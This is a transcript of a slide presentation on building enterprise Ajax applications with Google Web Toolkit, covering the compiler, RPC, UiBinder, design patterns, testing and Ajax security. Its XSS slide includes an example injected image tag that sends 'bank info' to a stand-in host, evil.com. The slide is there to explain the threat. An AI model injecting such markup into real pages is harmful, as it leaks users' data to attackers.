all about gwt

Post on 17-Jan-2015

7.517 Views

Category:

Technology

1 Downloads

Preview:

Click to see full reader

DESCRIPTION

An overview of the most important GWT features mixed with my experience of GWT. For example: 2-layered delpoyment model, several design patterns, security issues, ajax testing, etc.. This presentation is different then the usual GWT presentation as it describes the usage of GWT in an enterprise environment instead of a "GWT hobby project". This presentation is used during GWT workshops and courses.

TRANSCRIPT

Building Ajax applications with Java

Ed BrasSoftware Engineered@iTed.nl

iTedBelastingvriendin

Ed Bras | ed@ited.nl 2

• What is GWT?

• My first GWT application

• The GWT compiler

• Native Javascript support

• GWT under the hood

• Making own widgets

• Backend integration

• GWT-RPC

Ed Bras | ed@ited.nl 3

• Spring integration

• DTO’s usage

• Ajax security

• Code splitting

• Styling and Themes

• Client bundle

• UIBinder

• MVCP pattern

Ed Bras | ed@ited.nl 4

• Service handler

• GWT enterprise development

• Display data binding

• IDE integration

• Ajax testing

• Third party GWT frameworks

• Sales talk

• GWT usage

Javascript

Ed Bras | ed@ited.nl 5

• Building interactive web sites

• Java -> Javascript compiler

• Browser independent

• Browser support: FF, IE, Chrome, Safari, Opera

• No browser plugin needed

• Open source, Apache 2.0 license

Java Code

Firefox FirefoxSafari

Opera

Chrome

Ed Bras | ed@ited.nl 6

• Create project

• GWT jar’s

• JRE support + source code

• Not-supported classes

• Development mode

• Debugging

• Compile with Maven

• GWT Eclipse plugin

Ed Bras | ed@ited.nl 7

• Generating optimized Javascript

• Faster Javascript then handwritten

• Dead code removal, Type tighten, inlining, aggressive obfuscation, etc…

JavascriptJava Code

Shape s = new Square(2);

int a = s.getArea();

equals:

Square s = new Square(2);

inta = s.length* s.length;

becomes:

int a = 4;

Ed Bras | ed@ited.nl 8

• Newest compiler: 3 – 20 % smaller code

• Compiler output: obfuscated, pretty, report

• Predictable code: no reflection

• Deferred binding alternative

• Compiler permutations

GWT.create(DOMImpl.class)

DOMImpl

DOMImplIE6 DOMImplOpera

Ed Bras | ed@ited.nl 9

• Internationalization support

• Inline property replacement

• Extending properties

MyLabels

interfacemylabels_nl.properties

Usage:MyLabels props = GWT.create(MyLabels.class);

props.getCustomerTitle();

CommonLabels

interfacecommonlabels_nl.properties

packageContent:customerTitle = Alle klanten

….

Ed Bras | ed@ited.nl 10

• Different permutations (browsers x languages)

Indicate Possible locales (permutations) in gwt.xml:<extend-property name="locale" values="nl, es" />

Indicate required Locale:Set required locale in gwt.xml file:

<set-property name="locale" value="nl" />

Set required locale in html file:

<meta name="gwt:property" content="locale=es">

Set required locale in URL:

http://www.example.org/myapp.html?locale=nl

Ed Bras | ed@ited.nl 11

• Call Javascript code from Java

public native String flipName(String name) /*-{ var re = /(\w+)\s(\w+)/; return name.replace(re, '$2, $1');

}-*/;

• Call Java code From Javascript

• Results in many possibilities

• GWT wrappers around existing Javascript lib’s

• Direct JQuery calls (GQuery)

• Flash integration through FABridge

Ed Bras | ed@ited.nl 12

• DOM programming through Java Overlay types

• Binding of a Java object to a Javascript object

• IDE advantages

• Use JSON objects as Java objects

• Friendly usage of Javascript lib’s

Ed Bras | ed@ited.nl 13

JSON data from server:var jsonData = [{ "FirstName" : "Jimmy", "LastName" : "Webber" },{ "FirstName" : "Alan", "LastName" : "Dayal" },

];

Overlay Java Class:public class CustomerJso extends JavaScriptObject implements Customer {protected CustomerJso() { }

public final native String getFirstName() /*-{ return this.FirstName; }-*/;public final native String getLastName() /*-{ return this.LastName; }-*/;public final String getFullName() {return getFirstName() + " " + getLastName();

}}

Usage:public void onModuleLoad() {

Customer c = getFirstCustomer();Window.alert("Hello, " + c.getFirstName());

}

private native CustomerJso getFirstCustomer() /*-{return $wnd.jsonData[0]; // example: contains the result from a backend call

}-*/;

Ed Bras | ed@ited.nl 14

• Gwt-google-apis:

• Google Maps

• Google Ajax search

• Google Gears

• etc..

Ed Bras | ed@ited.nl 15

• Widget and Panel Hierarchy Implements HasWidgets

Ed Bras | ed@ited.nl 16

• HTML standard mode support

• Helper classes

GWT HistoryDOM

• DOM: Dom element management

• GWT: Global application management

Ed Bras | ed@ited.nl 17

• History: Ajax navigation via URL fragments

Show page 1Add History

markerShow page 2

Add History marker

back

History queue

page 2page 1….

1 2

back: inform back: inform

inform

Ed Bras | ed@ited.nl 18

• Object presentation on the DOM

Panel

Label

Button

parent

child’s

Panel

Label

Button

parent

child’s

Logical attachment Physical attachment

contains

contains

contains

Ed Bras | ed@ited.nl 19

• Element API examplesUIObject.getElement() // element location

Element.getStyle()

Element.setPropertyString(String, String)

Element.setScrollLeft(int)

Element.setTitle(String)

Element.getClassName() // same as Widget.getStyleName()

• Toevoegen child widget:// logical and physical attachment:FlowPanel panel = new FlowPanel();

RootPanel.get().add(panel);

Panel.add(new Label(“some text”); // attachment

// Only physical attachment (not normal usage):FlowPanel panel = new FlowPanel();

RootPanel.get().add(panel);

Panel.getElement().appendChild(new Label(“some text”).getElement)); // attachment

Ed Bras | ed@ited.nl 20

•Extending existing widgets:

• Flexible re usage

• No clear API

Ed Bras | ed@ited.nl 21

• Composite class usage:

• Clear API

• Poor reusage, not lazy, heavy constructor

• Improved alternative: SimpleComposite

Ed Bras | ed@ited.nl 22

• Event example

• Event sinking

• Event bubbling transparency

• Blur and Focus do not bubble

Panel

Button

parent

child’s

Capture phase Bubbling phase

Ed Bras | ed@ited.nl 23

• What goes wrong ?

function makeWidget() {var widget = {}; widget.someVariable = "foo"; widget.elem = document.createElement ('div'); widget.elem.onclick = function() {

alert(widget.someVariable); };

}

• Browsers garbage collection of cycled referencedA -> B -> A (widget -> elem -> widget)

Ed Bras | ed@ited.nl 24

• GWT guarantees no memory leaks

• Element -> Widget association not possible

Ed Bras | ed@ited.nl 25

• Asynchronous backend calls

Show table with data

Create Table View

Fetch Table data

1

2

Show table with data

Create Table View Fetch Table data

Asynchronous

Synchroon

backend

frontend

Ed Bras | ed@ited.nl 26

• SOP: Same Origin Policy

• Alternative:

• Server proxy: extra delay

• <script> DOM element: less secure

Our domain

Neighbor

Load application

SOP restriction

Ed Bras | ed@ited.nl 27

• Impact integration of existing backend

• Page lifecycle not on server

• Lightweight

• Easy integration with existing Get/Post backend

Ed Bras | ed@ited.nl

28

• Communication basics:

• GWT-RPC (java backend)

• Post/Get (any backend)

• JSNI

GWT applicatie

Backend

GWT-RPC Post/Get JSNI

J2EE container Any container Any container

XML JSON Text

Ed Bras | ed@ited.nl 29

• Post/Get

• Retrieving any data from the server

• Example: XML, JSON, TEXT

• JSON versus XML

• Third party lib’s for REST services

• Example: Restlet, RestyGWT (REST + JSON)

• GWT RequestBuilder class:

• Default Post/Get support (Safari bug)

• Head/Delete/etc.. support through subclassesRequestBuilder.sendRequest(String, RequestCallback)

Ed Bras | ed@ited.nl 30

• Post/Get

• GWT XML en JSON helper classes

• GWT-RPC

• Transparent backend connection

• Java Object sharing

• Lightweight mechanism

Ed Bras | ed@ited.nl 31

• GWT-RPC Customer exampleserver client

GWT J2ee container

CustomerServiceDefault

CustomerService

RemoteServiceServlet

CustomerServiceAsync

web.xml…

mapping

Usage

service = GWT.create(CustomerService.class);service. getAllCustomers()

Remote Service

1

2

3

Ed Bras | ed@ited.nl 32

• Transport object:

• Implements (indirect) Serializable

• No-arg constructor

• Field must be non-final (log warning)

• Transient field not over the wire

• Generated Serialization code reduction:

• Prefer ArrayList<E> over List<E> in Service interface

Ed Bras | ed@ited.nl 33

• Only Checked exceptions over the wire

List<Customer> getAllCustomers() throws StaleCustomerStateException;

• Exception translation

Mediator layer

Dynamic proxy Exception Translator

Unchecked -> Checked Exception

BrowserGWT application

Example: Source: MemberNotLoggedInRuntimeExceptionTarget: MemberNotLoggedInException

java.lang.reflect.Proxy

Ed Bras | ed@ited.nl 34

• <MD5>.gwt.rpc policy file

• War deployment

• Spring integration

• Third party connector (gwtwidgets)

• Mapping through Spring instead through web.xml

Ed Bras | ed@ited.nl 35

J2EE container(s)

Web server(s)

BrowserGWT Application

• Friendly environmentDevelopment

IDE

Start/Stopindex.html

load application/resoucesbackend communication

proxy calls

Customer

code share

gwt-servlet.jar

publish

DB

Browser plugin

Separated deployment

Ed Bras | ed@ited.nl 36

• GWT noserver mode

• Friendly development environment:

• SOC (Separation of Concerns)

• Friendly testing (mocks)

• Friendly deployment (separated)

• Serialization policy solution (SerializationPolicy)

• Lightweight backend

• Simple scalable (horizontal)

• Almost stateless

Ed Bras | ed@ited.nl 37

• Optimizing object transport (light, share, security)

• Prevents enhanced object problems (hibernate)

• Adjust and test DTO conversion

Mediator layer

BrowserGWT application

DTO’s (CustomerDto)

Domain objects (Customer)DTO

converter

Backend communication

Ed Bras | ed@ited.nl 38

• DTO converter: Dozer

• Gilead:

• No DTO converter needed

• Backend impact

• Code impactDomain object(Customer)

DTO object(CustomerDto)

Ed Bras | ed@ited.nl 39

• Bill Hoffman film en book Ajax Security

• GWT doc

• Ajax paradox: more in not-trustable client

• Security role undermind

• Differences with not-Ajax time

Ed Bras | ed@ited.nl 40

• State in client

• Backend calls as webservices

Not-Ajax backend Ajax backend

Not to be trusted?

Backend

Ed Bras | ed@ited.nl 41

• Evil state in front-end

• Specification backend access (control and state)

• Ajax as blueprint van de backend

• Example:

• Booking flight: select, reservation, pay, book

• Price attack: price in Javascript variable

Backend

Ed Bras | ed@ited.nl 42

• More business logic in browser (HtmlGuardian)

• You best friend: Firebug

• Javascript security friend: Flash (no SOP)

• Storing login info in client (https login)

• Logic controlled denial attack

• Revered Obfuscating

• Dynamic code loading

• Method Clobbering

Frontend

Ed Bras | ed@ited.nl 43

• Element.innerHTML(UserSCRIPTInput)

• eval(JSON) -> evil() (Javascript is Evil)

• JSONP (JSON Padding) is evil (proxy)

• Evil Google Gadgets

• Hacker type:

• The user (before)

• Clone a user

Frontend

Ed Bras | ed@ited.nl 44

• XSS (Cross Site Scripting)

• XSRF (Cross Site Request Forging)

Trusted domain Evil domain

Inject Javascript

<img src=“evil.com?info=Bank info”></img>Cookie

Request forging

Ed Bras | ed@ited.nl 45

• Cookie duplication

• GWT:

• Hiding Javascript

• Usage JSONParser

• More default checks in future

• Many attention on infrastructure security

• Little attention on Application security (hacker happy)

Ed Bras | ed@ited.nl 46

• Loading of application in small code fragments

HTML JS Running

HTML JS Running

without code splitting

with code splitting

Running Running Running

JS JS JS

Time

Ed Bras | ed@ited.nl 47

GWT.runAsync(new RunAsyncCallback() {public void onSuccess() {

// Runs when code is loaded with success}

public void onFailure(Throwable reason) {// Runs when loaded with failure

}});

• Example of split point in code

Start Code

Split point 1

Split point 2

Left over

Kb

Code base

Loading first code fragment

Ed Bras | ed@ited.nl 48

• Lazy loading when needed

• Manual Code splitting

• Minimizing left over

• Isolate code fragments

• SOYC (Story Of Your Compile)

• When loading which code?

• Code fragment size

• Compiler optimizing

• etc…

Ed Bras | ed@ited.nl 49

• CSS faster than element styling

element. getStyle().setBackgroundColor(“#FF00FF”)

• (GWT) CSS include through

• <link> in Html page

• In gwt.xml file (preferred)

• Through UIBinder and CssResource

<link type="text/css" rel="stylesheet" href=“my.css">

<stylesheet src=“my.css" />

Ed Bras | ed@ited.nl 50

• Widget styles:

• UIObject.setStyleName(“button”)

• UIObject.setStylePrimaryName(“button”)

• UIObject.addStyleDependentName(“enabled”)

<div class=“button”>

<div class=“button”>

<div class=“button button-enabled”>

WidgetStyler Widget

add mouse/click listeners

Decorator

enable/disable/select

<div class=“button button-disabled”><div class=“button button-enabled”><div class=“button button-hover”><div class=“button button-sel”>

primary style

Ed Bras | ed@ited.nl 51

• Visual Theme:

• Inject a set of style sheets through a separate gwt.xml file

• Usage with reusable components

• GWT standard themes: standard, chrome, dark

Usage:<inherits name='com.google.gwt.user.theme.standard.Standard'/>

Content of Standard.gwt.xml:<module>

<stylesheet src="gwt/standard/standard.css"/></module>

Ed Bras | ed@ited.nl 52

• Dynamic change of style sheetspublic static boolean removeStyleSheet(String id) {

Element elem = DOM.getElementById(id);if (elem == null) {

return false;}else {

Element parent = elem.getParentElement();parent.setPropertyString("disabled", "disabled");parent.removeChild(elem);

return true;}

}

public static void addStyleSheet(String id, String url) {Element link = DOM.createElement("link");link.setPropertyString("rel", "stylesheet");link.setPropertyString("type", "text/css");link.setPropertyString("id", id);link.setPropertyString("href", url);link.setPropertyString("disabled", "");Element head = getHead();head.appendChild(link);

}

public native Element getHead() /*-{ return $doc.getElementsByTagName('head')[0]; }-*/;

Ed Bras | ed@ited.nl 53

• Include static resourcespublic interface MyResources extends ClientBundle {public static final MyResources INSTANCE = GWT.create(MyResources.class);

@Source("my.css")public CssResource css();

@Source("config.xml")public TextResource initialConfiguration(); // i18N support (config_us.xml)

@Source("default.txt")

public TextResource defaultText(); // i18N support (default_nl.txt)

@Source("manual.pdf")public DataResource ownersManual(); // i18N support (manual_es.pdf)

@Source("logo.png")

ImageResource logo(); // i18N support (logo_es.png)}

Usage:MyResources.INSTANCE.css().ensureInjected();

// Display the manual file in an iframenew Frame(MyResources.INSTANCE.ownersManual().getURL());

Ed Bras | ed@ited.nl 54

• Perfect caching (predictable)

• MD5 file name

GWT Compiler

Manual.pdf A49CB1C6CF624BC21D0E59CDCD566951.pdf

<Files *.nocache.*>ExpiresDefault "access"

</Files>

<Files *.cache.*>ExpiresDefault "now plus 1 year"

</Files>

• File change results in MD5 file name change

• Apache caching (mod_expires)

Ed Bras | ed@ited.nl 55

• CssResource

@def myIdent 10px;

@sprite panel {gwt-image: “alertInfo”;

}

.foo {background: green;

}

@if user.agent ie6 {.foo {position: relative;

}} @else {.foo {font-size: x-large;

}}

interface MyResources extends ClientBundle {@Source("my.css")@CssResource.NotStrictMyCss css();

@Source("images/alert-info-ff00ff.gif")@ImageOptions(repeatStyle = RepeatStyle.None)ImageResource alertInfo();

}

interface MyCss extends CssResource {String className();String myIdent();

}

MyResources resources = GWT.create(MyResources.class);Label l = new Label("Some text");l.addStyleName(resources.css().className());

Stylesheet Usage

same

in classpath

Ed Bras | ed@ited.nl 56

• CssResource:

• More control and flexible

• Efficient loading of images

• GWT compiler performs more checks

• Css code -> Java code -> more checks/control

• Minimizing style sheet

• Obfuscating

• Predictable/perfect caching

Ed Bras | ed@ited.nl 57

• Templating elementsHelloWorld.ui.xml:<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'><div>

Hello, <span ui:field='nameSpan'/>.</div>

</ui:UiBinder>

public class HelloWorld extends UIObject {interface MyUiBinder extends UiBinder<DivElement, HelloWorld> {}

private static MyUiBinder uiBinder = GWT.create(MyUiBinder.class);@UiField SpanElement nameSpan;

public HelloWorld() {setElement(uiBinder.createAndBindUi(this));

}

public void setName(String name) { nameSpan.setInnerText(name); }}

Usage:HelloWorld helloWorld = new HelloWorld();Document.get().getBody().appendChild(helloWorld.getElement());helloWorld.setName("World");

Ed Bras | ed@ited.nl 58

• Templating widgetsHelloWidgetWorld.ui.xml:<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder‘ xmlns:g='urn:import:com.google.gwt.user.client.ui'>

<g:HTMLPanel>Hello, <g:ListBox ui:field='listBox' visibleItemCount='1'/>.

</g:HTMLPanel></ui:UiBinder>

public class HelloWidgetWorld extends Composite {interface MyUiBinder extends UiBinder<Widget, HelloWidgetWorld> {}

private static MyUiBinder uiBinder = GWT.create(MyUiBinder.class);@UiField ListBox listBox;

public HelloWidgetWorld(String... names) {initWidget(uiBinder.createAndBindUi(this));for (String name : names) {

listBox.addItem(name); }

}}

Usage:HelloWidgetWorld helloWorld = new HelloWidgetWorld("able", "baker", "charlie");

Ed Bras | ed@ited.nl 59

• Improve performance (innerHTML usage)

• Many styling possibilities

• Separation of Widget and Template

• 1 Widget with different templates

• Design friendly

• IDE friendly

• Annotation usage (listener method)

• Compare with Flex and Faclets (JSF)

Presenter 1

Ed Bras | ed@ited.nl 60

Event bus

Events:…App initApp prepare testApp prepare 1..App build 1..App show..Global data changed

CustomerController

ShowPresenter

ModifyPresenter

Show View Modify View

Display register

Data Model

Create lazy through code split

Shared display content:Tab content ….

Interface association

Bubbling actions:Click gotoModify button

Business logic

Presenter logic

optional

Ed Bras | ed@ited.nl 61

• Separated view, business en presentation logic

• Forced separating

• Friendly testing

• Interface associations

• Data model Observer memory leaks

• GWT doc

Ed Bras | ed@ited.nl 62

• Central handler for backend communication

• Control of backend calls (queue, timeout, etc..)

• Central progress monitor

• Wrap existing Async calls

Usage:final AsyncCallback<Member> callback = createCallback();….serviceHandler.add(new AsyncCommand<Member>() { // add service handler

public AsyncCallback<Member> getCallback() {return callback;

}

void run(final AsyncCallback<Member asynCallback) {getBackendFacade().login(“bla”, “geheim”, asynCallback);

}});

Ed Bras | ed@ited.nl 63

• Split GWT project in production, test en development

DeclareCommon.gwt.xml

DeclareProd.gwt.xml DeclareTestCommon.gwt.xml

DeclareTest.gwt.xml DeclareDev.gwt.xml

Lean and mean (800k):no assertsno element id’setc..

Test enabled (1200k):with assertswith element id’swith dev panelbackend mockingTest data via URL paramsetc..

More Test data options<div id=“bla”>rik</div>

Id is needed for Ajax testing

Ed Bras | ed@ited.nl 64

• Flexible environment settings

• Friendly develop environment

• Mocking backend (offline mode)

• Unit testing through URL parameters

• Deferred binding

Ed Bras | ed@ited.nl 65

• Model Display binding

Data model Displaybinding ?

Fill display with model data

View

Data model

Desired: Decouple of display details en data binding (SOC)Reusable data binding

split

public void update(data collection) {foreach(Data item: data) {

table.setText(0, 1, item.getLabel());}

}

Ed Bras | ed@ited.nl 66

TableViewer

TableViewer decorates Table

• TableViewer example

Data model

1: update2Display(List<Customer>)

TableEditor

2: update2Display(RowEditor, Customer)

RowEditor

Display table

contains

3: Customer specific:rowEditor.setHtml(0, customer.getFirstName()); rowEditor.setWidget(1, new Label(customer.getLastName()));….

Ed Bras | ed@ited.nl 67

• Viewer decorates Display component

• SOC (Separation Of Concern)

• Friendly syncing of data and display

• Reusable for other data

• Usage in well known GUI frameworks

• Example: FormField en FormFieldViewer

Ed Bras | ed@ited.nl 68

• GWT Eclipse plugin

• GWT Designer of Instantiations (no UIBinder)

• Waiting for UIBinder IDE support

Ed Bras | ed@ited.nl 69

• Unit testing of not-Display parts (MVCP)

• Unit testing of GWT display parts met Junit

• Nightly build met Cargo- en GWT maven plugin

• Difficult to test the Ajax frontend

• Selenium van Thoughtworks:

• FF plugin for scenario recording

• Selenium RC (java, Groovy, etc…)

• Ajax model test framework:

• Modeling of browser elements

• Selenium as browser implementation

Ed Bras | ed@ited.nl 70

Display

First name

Last name

News letter

<input id=“myCheckId” type=“checkbox”>

• Ajax model test framework

Cssselector

TypeElement

CheckElement

typeWait(“bla”)

clickWait(“bla”)

Locator

Browser

Id

interface contains

Selenium RC

modeling

contains

interface

Ed Bras | ed@ited.nl 71

• Hierarchy of reusable rich browser elements

• Compose new elements

• Friendly usage none-developer

• Run through testNG/Junit

• Run during nightly build

Ed Bras | ed@ited.nl 72

• GWT focus: compiler and core

• Many GWT hobby projects

• GXT van Ext Js (former mygwt)

• SmartGWT

• RocketGWT

• Many GWT wrappers

• GIN (GWT Injection), based on Google Guice

Ed Bras | ed@ited.nl 73

• It’s Google (future, sexy)

• Open source project, no license costs

• Google Wave and AdWords build with GWT

• GWT more popular every day

• Rich interactive web sites possible

• Browser independent

• No browser plugin needed

• Short learning curve

• GWT has a clear programming model

Ed Bras | ed@ited.nl 74

• Existing Java developers can start directly

• Usage of standard Java development tools

• GUI design tools available

• Many GWT libraries available

• Fast application building (Prototyping)

• Many and complex functionality possible

• No/little Javascript knowledge needed

• Simple and fast deployment

Ed Bras | ed@ited.nl 75

• Simple integration with existing backend

• Simple scalability

• Less backend resource usage

• Friendly integration with Google API’s.

• Integration with Flash in the browser

• Light weight

• Compiler optimizing (compact, obfuscated)

• Reusable existing Java code

Ed Bras | ed@ited.nl 76

• CMS friendly

• Test/develop friendly (prod, test, dev modes)

• GUI binder

Ed Bras | ed@ited.nl 77

• Less:

• Still solving browser CSS differences yourself

• less suitable for complex animations

• Less suitable for tiny Javascript application

• Not search engine friendly (poor ranking)

Ed Bras | ed@ited.nl 78

• JQuery for simple Ajax functionality

• Flash for Trendy sites

• Other: GWT

• Use case: Lombardi/IBM Blueprints:

• Started with Flash (cross-browser bugs)

• Then DOJO (too big)

• Now GWT (take over by IBM)

• Use case: Mendix, generation of GWT front-end

Ed Bras | ed@ited.nl 79

• Roadmap not public known

• Compiler optimizing, richer widgets, standard mode, security, etc..

• HTML 5 support

• More used every day (forum active)

Ed Bras | ed@ited.nl 80

• Google GWT site: doc, samples, blog, forum

• GWT on Youtube (I/O sessions)

• Google books

• LinkedIn group(s): GWT Dutch Professionals

• Call/Mail me (ed@ited.nl, www.ited.nl)

top related